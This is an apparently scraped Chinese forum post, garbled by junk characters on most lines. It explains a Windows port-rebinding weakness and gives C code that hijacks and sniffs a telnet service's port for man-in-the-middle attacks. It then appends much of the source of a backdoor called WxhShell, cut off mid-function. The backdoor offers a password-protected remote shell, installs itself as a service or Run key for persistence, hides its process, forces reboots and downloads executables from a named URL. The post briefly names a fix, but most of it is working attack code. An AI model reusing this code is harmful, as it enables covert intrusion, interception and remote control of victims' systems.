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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x6BuF_.   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L5Ebc#  
b+%f+zz*h  
  saddr.sin_family = AF_INET; ;ic3).H  
-f3p U:G8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); iJ-23_D  
\MA+f~)9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lNy.g{2f<m  
QqDC4+ p"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .7Dtm<K#  
i5en*)O8  
  这意味着什么?意味着可以进行如下的攻击: l}a)ZeR1  
riUwBiVa?2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s(5Y  
+O"!qAiK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *M[?bk~~  
o\[~.";Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D60aH!ft  
KT_!d*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y0{u<"t%w  
!F*5M1Kjd  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ed]=\Key  
1Lc#m`Jln  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ar%%}Gx /  
3r<~Q7e  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bZ?v-fn\D,  
Sj-n;F|=X  
  #include FTH|9OP  
  #include 61,;Uc\T  
  #include )YYf1o[+  
  #include    tnV/xk#!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H7?Vybg~  
  int main() NiNM{[3oS  
  { c%^7!FSg  
  WORD wVersionRequested; h2)yq:87  
  DWORD ret; g9m-TkNk  
  WSADATA wsaData; bo,_&4?  
  BOOL val; /vY(o1o x  
  SOCKADDR_IN saddr; >] qc-{>&  
  SOCKADDR_IN scaddr; bH-ub2@qO  
  int err; Htay-PB }  
  SOCKET s; _A M*@|p,  
  SOCKET sc; >Y&N8PHD  
  int caddsize; 6 +Sxr  
  HANDLE mt; &LmJ!^#  
  DWORD tid;   }wWKFX  
  wVersionRequested = MAKEWORD( 2, 2 ); QgrpBG  
  err = WSAStartup( wVersionRequested, &wsaData ); \n"{qfn`r  
  if ( err != 0 ) { j>*S5y.{  
  printf("error!WSAStartup failed!\n"); =4vy@7/  
  return -1; HpR]q05d  
  } d4m=0G`  
  saddr.sin_family = AF_INET; .0p0_f=  
   ZWii)0'PV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 t#yk ->,  
O1rvaOlr  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NWP5If|'X  
  saddr.sin_port = htons(23); LnFdhrB@x  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7WZrSC  
  { B5gj_^  
  printf("error!socket failed!\n"); S_iMVHe  
  return -1; +cWLjPD/}  
  } t$ +?6E  
  val = TRUE; Xk:OL,c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cO-7ke  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 68bQ;Dv  
  { k=2Lo  
  printf("error!setsockopt failed!\n"); =31"fS@  
  return -1; { .n"Z  
  } +~St !QV%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2:*w~|6>}5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?J' Y&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 a! (4Ch  
v.\*./-i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -Bt k 3  
  { 2;xIL]  
  ret=GetLastError(); +_7*iJtD5  
  printf("error!bind failed!\n"); ~)*,S^k(C.  
  return -1; `{4i)n%e&  
  } .\ K_@M  
  listen(s,2); tWo{7)Eb  
  while(1) _my"%@n  
  { w;D+y*2  
  caddsize = sizeof(scaddr); FK6[>(QO  
  //接受连接请求 PEN \-*Pv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D>|H 2  
  if(sc!=INVALID_SOCKET) E"\/ M  
  { ~Xr=4V:a+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W"724fwu&  
  if(mt==NULL) 5&xB6|k  
  { =6xrfDbN8  
  printf("Thread Creat Failed!\n"); O[# 27_dH  
  break; d[r#-h> dS  
  } kTKq/G,Ft  
  } D@C-5rmq  
  CloseHandle(mt); yh^!'!I6u[  
  } z+x\(/  
  closesocket(s); 2Fy>.*,?  
  WSACleanup(); Wi>!{.}%A  
  return 0; M]<?k]_p  
  }   U -Y03  
  DWORD WINAPI ClientThread(LPVOID lpParam) })uGRvz  
  { 7}1~%:6  
  SOCKET ss = (SOCKET)lpParam; :d3bt~b'  
  SOCKET sc; >O1[:%Z1  
  unsigned char buf[4096]; Qg^cf<X{i  
  SOCKADDR_IN saddr; oV)~@0B&0  
  long num; 0YaA`  
  DWORD val; W egtyO  
  DWORD ret; "b?v?V0%C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .#wqXRd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   f6|KN+.  
  saddr.sin_family = AF_INET; r/& sub"X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z.d 7U~_  
  saddr.sin_port = htons(23); Y;nZ=9Sw  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f @8mS    
  { ,PlO8;5]  
  printf("error!socket failed!\n"); dG@"!!,  
  return -1; L93l0eEt  
  } V7#Ffi  
  val = 100; (]_1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0$_oT;{8  
  { 0- ><q  
  ret = GetLastError(); lW<PoT  
  return -1; 5'0xz.)!  
  } +$X#q8j06  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [qdRUV'  
  { x2@U.r"zo  
  ret = GetLastError(); pp.6Ex (R  
  return -1; K6y :mJYp\  
  } xAafm<L@!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6}75iIKi  
  { J%V-Q>L  
  printf("error!socket connect failed!\n"); :*t"8;O[  
  closesocket(sc); \2nUa ;  
  closesocket(ss); : q ti  
  return -1; 3VI4X  
  } iP@ZM =&wz  
  while(1) h\7fp.  
  { x&^_c0fn  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 GFfq+=se  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 a,3j,(3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {D!6%`HKV+  
  num = recv(ss,buf,4096,0); mK[)mC _8  
  if(num>0) \|]Z8t7  
  send(sc,buf,num,0); ,QC{3i~  
  else if(num==0) \I["2C]3M  
  break; l_EM8pL,f  
  num = recv(sc,buf,4096,0); <cZGxff01  
  if(num>0) $KUo s+%  
  send(ss,buf,num,0); C|d\3S\(  
  else if(num==0) e?`5>& Up  
  break; 3= DNb+D!  
  } Glxuz0]  
  closesocket(ss); %@;6^=  
  closesocket(sc); `Q+ (LBP  
  return 0 ; 9Q(+ZG=JkV  
  } a\IP12F?  
#mZpeB~   
&=<x#h-  
========================================================== ~zil/P8  
BYTnrPA&Z;  
下边附上一个代码,,WXhSHELL ?q(\=;Y  
@Ys!DScY,  
========================================================== [01.\eh  
xY+VyOUs  
#include "stdafx.h" B;R.#^@/  
zUkN 0  
#include <stdio.h> 6el;Erp  
#include <string.h> 1rKlZsZ#*  
#include <windows.h> AjJURn0`,!  
#include <winsock2.h> nl(WJKq'  
#include <winsvc.h> NZP.0coY  
#include <urlmon.h> CM<]ZG7  
~/8M 3k/  
#pragma comment (lib, "Ws2_32.lib") nB%;S  
#pragma comment (lib, "urlmon.lib") 5k6mmiaKk  
%FS$zOsgGK  
#define MAX_USER   100 // 最大客户端连接数 28/ ADZ  
#define BUF_SOCK   200 // sock buffer !(n4|Wd  
#define KEY_BUFF   255 // 输入 buffer 0{[m%eSK'  
Z4A!U~  
#define REBOOT     0   // 重启 }tH[[4tw,  
#define SHUTDOWN   1   // 关机 nSF``pp+  
U\veOQ;mW  
#define DEF_PORT   5000 // 监听端口 PqyA1  
UA4J>1 i  
#define REG_LEN     16   // 注册表键长度 B3H|+  
#define SVC_LEN     80   // NT服务名长度 /;7y{(o  
|J+(:{ }~  
// 从dll定义API f;&]:2.j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bHht d_}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V?P,&c?84  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~by]xE1Eg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UOGuqV-  
:l2g#* c  
// wxhshell配置信息 M t*6}Cl  
struct WSCFG { _* IPk  
  int ws_port;         // 监听端口 "S&@F/  
  char ws_passstr[REG_LEN]; // 口令 iT;@bp  
  int ws_autoins;       // 安装标记, 1=yes 0=no DHw&+MY  
  char ws_regname[REG_LEN]; // 注册表键名 P y>{t4;S  
  char ws_svcname[REG_LEN]; // 服务名 `+zWu 55;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >iOzl wmG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /0W9g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @*0cMO;SpG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _bzqd" 31I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a@@M+9Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p}|.ZkyN  
@WQK>-=(3  
}; Iq#ZhAk  
-pU|hSW*b  
// default Wxhshell configuration ' zEI;v  
struct WSCFG wscfg={DEF_PORT, :U d  
    "xuhuanlingzhe", rwniOQe  
    1, DNR~_3Aq  
    "Wxhshell", )mJf|W!Z#  
    "Wxhshell", U9&k;`  
            "WxhShell Service", ?_oF:*~\  
    "Wrsky Windows CmdShell Service", [F_/2+e  
    "Please Input Your Password: ", [97KBoSU  
  1, c9\2YKo  
  "http://www.wrsky.com/wxhshell.exe", anj#@U;!  
  "Wxhshell.exe" +vNZW@_$D  
    }; ari7iF ~j  
^A][)*SZ  
// 消息定义模块 YXU|h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $B#6tk~u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B d^"=+c4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Fhv2V,nZ<  
char *msg_ws_ext="\n\rExit."; T1` |~Z?g-  
char *msg_ws_end="\n\rQuit."; C@Nv;;AlU  
char *msg_ws_boot="\n\rReboot..."; +&X%<S W  
char *msg_ws_poff="\n\rShutdown..."; -w;(cE  
char *msg_ws_down="\n\rSave to "; v}sY|p"  
T/c<23i  
char *msg_ws_err="\n\rErr!"; !Oj)B1gc6&  
char *msg_ws_ok="\n\rOK!"; K. %U  
'`|A I:L  
char ExeFile[MAX_PATH]; FVB;\'/  
int nUser = 0; \eGKkSy  
HANDLE handles[MAX_USER]; @)>D))+  
int OsIsNt; uK ("<u|  
mv atUe  
SERVICE_STATUS       serviceStatus; ESg+n(R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?f*Q>3S)  
3IR ^  
// 函数声明 /({;0I*!i  
int Install(void); 'q>2t}KG  
int Uninstall(void); `^(jm  
int DownloadFile(char *sURL, SOCKET wsh); `k; KBW  
int Boot(int flag); ? b[n|^wS  
void HideProc(void); .6m "'m0;  
int GetOsVer(void); T *I?9d{k  
int Wxhshell(SOCKET wsl); 1AHx"e,;L  
void TalkWithClient(void *cs); p0{EQT`tMG  
int CmdShell(SOCKET sock); [U8$HQ+x  
int StartFromService(void); #5&jt@NS  
int StartWxhshell(LPSTR lpCmdLine); 8ZcU[8r  
h{}mBQl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LF?P> 1%-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o5Y2vmz?9  
' )-M\'S$E  
// 数据结构和表定义 aV`&L,Q)7E  
SERVICE_TABLE_ENTRY DispatchTable[] = #FYAV%pi  
{ 6  P`)%zj  
{wscfg.ws_svcname, NTServiceMain}, 1ndJ+H0H  
{NULL, NULL} }wwe}E-e  
}; -$<O\5cAQ  
;pJ2V2 g8  
// 自我安装 Qn:kz*:  
int Install(void) hzY[ G :  
{ }:z5t,u6  
  char svExeFile[MAX_PATH]; Q0_>'sEM  
  HKEY key; :XV} c(+d  
  strcpy(svExeFile,ExeFile); ( 0Naf  
J?n<ydZSH  
// 如果是win9x系统,修改注册表设为自启动 (LJ@S eM;  
if(!OsIsNt) { C+K=[   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XD-^w_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !asqr1/  
  RegCloseKey(key); ?4z8)E9Ju  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8 Op.eYe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VjbG(nB?_  
  RegCloseKey(key); ad n|N  
  return 0; Omag)U)IPh  
    } Zv qn%K],  
  } qJ8-9^E,L  
} R9r+kj_  
else { 0y %L-:/c|  
:WXf.+IA  
// 如果是NT以上系统,安装为系统服务 #Ogt(5Sd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (paf2F`~#  
if (schSCManager!=0) ^uaFg`S  
{ X QbNH~  
  SC_HANDLE schService = CreateService aW{L7N%  
  ( lr('k`KOQ  
  schSCManager, b;9n'UX\  
  wscfg.ws_svcname, tfiqr|z  
  wscfg.ws_svcdisp, A%ywj'|z  
  SERVICE_ALL_ACCESS, K%{ad1$c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B} *V%}:)  
  SERVICE_AUTO_START, X<MpN5%|Wo  
  SERVICE_ERROR_NORMAL, V 2kWiyN  
  svExeFile, ValS8V*N1  
  NULL, g0#q"v55  
  NULL, t]m!ee8*X<  
  NULL, VEh]p5D  
  NULL, PM~*|(fA  
  NULL 3-Y=EH_0  
  ); {y);vHf$  
  if (schService!=0) C;#" td  
  { sQk|I x  
  CloseServiceHandle(schService); I}:L]H{E  
  CloseServiceHandle(schSCManager); l L2-.!]R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fykI,!  
  strcat(svExeFile,wscfg.ws_svcname); Ysk, w,K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &d 3HB=x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w yD%x(  
  RegCloseKey(key); ATO 5  
  return 0; _O 52ai><b  
    } (Nt[v;BnO  
  } |(%AM*n  
  CloseServiceHandle(schSCManager); $y6rvQ 2>S  
} u[`v&e  
} )l2P}k7`  
nL;K|W  
return 1; n2 na9dX)w  
} 'oi2Seq  
Z}f^qc+  
// 自我卸载 ;qVG \wQq  
int Uninstall(void) ^?Vq L\V5  
{ Gmgeve  
  HKEY key; s*{mT6s+T  
j&llrN  
if(!OsIsNt) { z\h, SX<U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %QE5<2k  
  RegDeleteValue(key,wscfg.ws_regname); 1HXlHic  
  RegCloseKey(key); 0Q*-g}wXfS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .q0AoM  
  RegDeleteValue(key,wscfg.ws_regname); U$@83?O{iM  
  RegCloseKey(key); KQW!\y?$"  
  return 0; BGA%"b  
  } hOSf'mi  
} 5)x6Q|-u  
} YZ{jP?x  
else { s9:%s*$u  
zK /f$}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^OjvL6 A/p  
if (schSCManager!=0) %d-`71|lG^  
{ :D^Y?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MyM+C}  
  if (schService!=0) 7n<#y;wo  
  { }RDb1~6C  
  if(DeleteService(schService)!=0) { Z3I L8  
  CloseServiceHandle(schService); xK=J.>h3  
  CloseServiceHandle(schSCManager); ,?#*eJD  
  return 0; FB.!`%{  
  } S^)WYF5  
  CloseServiceHandle(schService); yj]ML:n  
  } |#:=\gugh  
  CloseServiceHandle(schSCManager); w1.MhA  
} afV P-m4L  
} &Ky3Jb<:Gt  
XzlIW&"uC  
return 1; ^h"n03VFA  
} t3Qm-J}wSB  
7rJ9 }/<I  
// 从指定url下载文件 [ArO$X3\  
int DownloadFile(char *sURL, SOCKET wsh) K#iK6)tS  
{ #EEG>M*xB  
  HRESULT hr; s|BX> 1  
char seps[]= "/"; Y)5)s0}  
char *token; @>gD1Q7v b  
char *file; #Ul4&QVeg  
char myURL[MAX_PATH]; `Q+i-y  
char myFILE[MAX_PATH]; >9(7h&[Y  
&l?N:(r  
strcpy(myURL,sURL); hq]xmM?&  
  token=strtok(myURL,seps); a$laRtId7  
  while(token!=NULL) ''%;EW>  
  { *u<rU,C8  
    file=token; giQ{Xrj  
  token=strtok(NULL,seps); @OBHAoz%/  
  } J]$er0`LY  
)Xq@v']%~9  
GetCurrentDirectory(MAX_PATH,myFILE); +$(71#'y  
strcat(myFILE, "\\"); 9PUa?Bc`=  
strcat(myFILE, file); - a   
  send(wsh,myFILE,strlen(myFILE),0); CL EpB2_  
send(wsh,"...",3,0); )#)nBM2\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J.*[gt%O|  
  if(hr==S_OK) mQmBf|Rl  
return 0;  W{L  
else ;`;G/1]#9  
return 1; Z={D0`  
[..,(  
} xcAF  
V@ LN 1|  
// 系统电源模块 `WP@ZSC6  
int Boot(int flag) |R[v@c`pn  
{ D$Kz9GVZq  
  HANDLE hToken; y*y`t6D  
  TOKEN_PRIVILEGES tkp; e~tr^$/(  
iLjuE)6-$  
  if(OsIsNt) { Bm65 W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `WraOsoY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >cBGw'S  
    tkp.PrivilegeCount = 1; cZCGnzy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MT;SRAmUr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9k714bnMLX  
if(flag==REBOOT) { YJ &lB&xH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m OwWg  
  return 0; HGU?bJ~6o  
} deR$  
else { R>/QA RX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5HWwl.D  
  return 0; # q0Ub-  
} Ib_n'$5#z  
  } bd@*vu}?}  
  else { ckH$E%j   
if(flag==REBOOT) { U:s} /to  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4iYgs-,  
  return 0; r78u=r  
} s_S<gR  
else { oG4w8+N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZXF AuF  
  return 0; Yio>ft&g]  
} Verbmeg&n  
} GInZ53cQ  
FYx `o\  
return 1; w>`h3;,2  
} <3i4NXnL2  
W+F<P@[u<$  
// win9x进程隐藏模块 rW=k%# p  
void HideProc(void) *` @XKK  
{ s=\LewF1<  
Q:-%3)g<<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `:-@E2  
  if ( hKernel != NULL ) RTgQ#<W8  
  { :Y}Y&mA4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t%]^5<+X58  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (<d&BV-"  
    FreeLibrary(hKernel); =Do3#Xe2V  
  } 2$j Ot}  
v&[X&Hu[  
return; /ZIJ<#o[  
} i-:8TfI,  
w (vE2Y ?  
// 获取操作系统版本 uFm(R/V  
int GetOsVer(void) t?du+:  
{ 8xD<A|  
  OSVERSIONINFO winfo; A;kw}!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "2#-xOCO  
  GetVersionEx(&winfo); D^N#E>,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oPBg+Bh*  
  return 1; ~7,2N.vO2  
  else sT[av  
  return 0; @^y?Bh9jQ  
} epG X.  
z'\}/k+  
// 客户端句柄模块 q5'yD;[hE  
int Wxhshell(SOCKET wsl) OUIUgej  
{ 4mM2C`I  
  SOCKET wsh; },Re5W nl  
  struct sockaddr_in client; Z3abem<Q  
  DWORD myID; bCE7hutl  
#pDGaqeX  
  while(nUser<MAX_USER) @sg T[P*ut  
{ c:@OX[##  
  int nSize=sizeof(client); dm/\uE'l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v0hfY   
  if(wsh==INVALID_SOCKET) return 1; NrI 5uC7  
V&4:nIS>z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JXSqtk=  
if(handles[nUser]==0) uJ)=+Exii  
  closesocket(wsh); QNa}M{5>h  
else |peMr#  
  nUser++; &JXHDpd$a^  
  } S$lmEJ_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \yX !P1  
\@}$Wjsl  
  return 0; Hh/ -^G  
} @aiLG wh  
f5=t*9_-[  
// 关闭 socket {Hp}F!X$  
void CloseIt(SOCKET wsh) 49J+&G?)j  
{ ![P(B0Ct/  
closesocket(wsh); `6BS-AVO7  
nUser--; uuUVE/^V'  
ExitThread(0); ,5A>:2 zs  
} Q~w G(0'8  
_#YHc[Wz  
// 客户端请求句柄 n;k97>m${x  
void TalkWithClient(void *cs) _E&vE5<-$  
{ hRy }G'0  
^/d^$  
  SOCKET wsh=(SOCKET)cs; ,^+R%7mv  
  char pwd[SVC_LEN]; ad$Qs3)6o  
  char cmd[KEY_BUFF]; P15 *VPy  
char chr[1]; X+gz+V/  
int i,j;  4Jk}/_  
+/>YH-P=  
  while (nUser < MAX_USER) { d Xo'#.  
\2<yZCn  
if(wscfg.ws_passstr) { mN'9|`>V>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HsgTHe  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -SY:qG3?  
  //ZeroMemory(pwd,KEY_BUFF); |nH0~P#!  
      i=0; rIFC#Jd/  
  while(i<SVC_LEN) { }AsF\W+5  
:D+ SY  
  // 设置超时 iUG/   
  fd_set FdRead; h%w\O Z7  
  struct timeval TimeOut; U_{JM`JY  
  FD_ZERO(&FdRead); W];6u  
  FD_SET(wsh,&FdRead); /L|}Y242  
  TimeOut.tv_sec=8; e>zk3\D!  
  TimeOut.tv_usec=0; z Hs  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ][5p.owJse  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -L'K  
~Yz/t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NdSxWrD`m  
  pwd=chr[0]; "xc*A&Sg  
  if(chr[0]==0xd || chr[0]==0xa) { gAUQQ  
  pwd=0; <K[Zl/7I  
  break; y0&HXX#\  
  } *T2&$W|_a  
  i++; pnA]@FW  
    } c+)|o!d  
7n 95>as  
  // 如果是非法用户,关闭 socket y yR8VO{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hYZ:" x  
} :kx#];2i  
bSmaE7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }NBJ T4R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IK?$!jh  
UlN|Oy,  
while(1) { Sd{"A0[A|  
GN;XB b]w  
  ZeroMemory(cmd,KEY_BUFF); =i5:*J  
UuqnL{  
      // 自动支持客户端 telnet标准   8kc'|F\  
  j=0; Q fyERa\rb  
  while(j<KEY_BUFF) { c3!|h1h/v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^$,kTU'=  
  cmd[j]=chr[0]; SyVbCj  
  if(chr[0]==0xa || chr[0]==0xd) { LLHOWD C(2  
  cmd[j]=0; ;)]zv\fC  
  break; f>+}U;)EF  
  } wG?kcfu  
  j++; geN%rD  
    } jp]geV54  
3cFLU^  
  // 下载文件 5)v^ cR?&  
  if(strstr(cmd,"http://")) { gwz _b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ulSTR f  
  if(DownloadFile(cmd,wsh)) h%^kA@3F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lpbn@y26<  
  else R Mt vEa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kGqf@ I+  
  } ,L:)ZZgN  
  else { h_G7T1;L  
(dip Ks?K  
    switch(cmd[0]) { # +]! u%n  
  V1>94/waa  
  // 帮助 *Z2Q]?:{ i  
  case '?': { nkj'AH"2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 842+KLS  
    break; 2b,TkG8K  
  } `6sQlCOnF  
  // 安装 %R"/`N9R,  
  case 'i': { yaYt/?|  
    if(Install()) >`|uc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &2]D+aL|h  
    else >T^v4A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r8?Lr-;  
    break; : 8<^rP  
    } wEc5{ b5M  
  // 卸载 7CMgvH)O  
  case 'r': { cH-Zj  
    if(Uninstall()) n4&j<zAV{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c@B%`6kF  
    else RcM0VbR"EU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vm^# aoDB  
    break; "K!BJQ  
    } 4H=sD t  
  // 显示 wxhshell 所在路径 t-(7Q8(  
  case 'p': { a&VJ YAB  
    char svExeFile[MAX_PATH]; ;1k0o.3  
    strcpy(svExeFile,"\n\r"); }t-|^mY>  
      strcat(svExeFile,ExeFile); g uWqHVSs  
        send(wsh,svExeFile,strlen(svExeFile),0); $K fk=@  
    break; BmF>IQ`M?  
    } qWRMwvN{  
  // 重启 :|Nbk58  
  case 'b': { 2U+p@}cQUA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3'e 4{  
    if(Boot(REBOOT)) &.4_4"l(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2=M!lB *  
    else { hD"~ ^  
    closesocket(wsh); SZD2'UaG  
    ExitThread(0); 1AV1W_"  
    } ^v5hr>m  
    break; r8 >?-P  
    } -y*+G&  
  // 关机 (UT*T  
  case 'd': { .T-p]9*p  
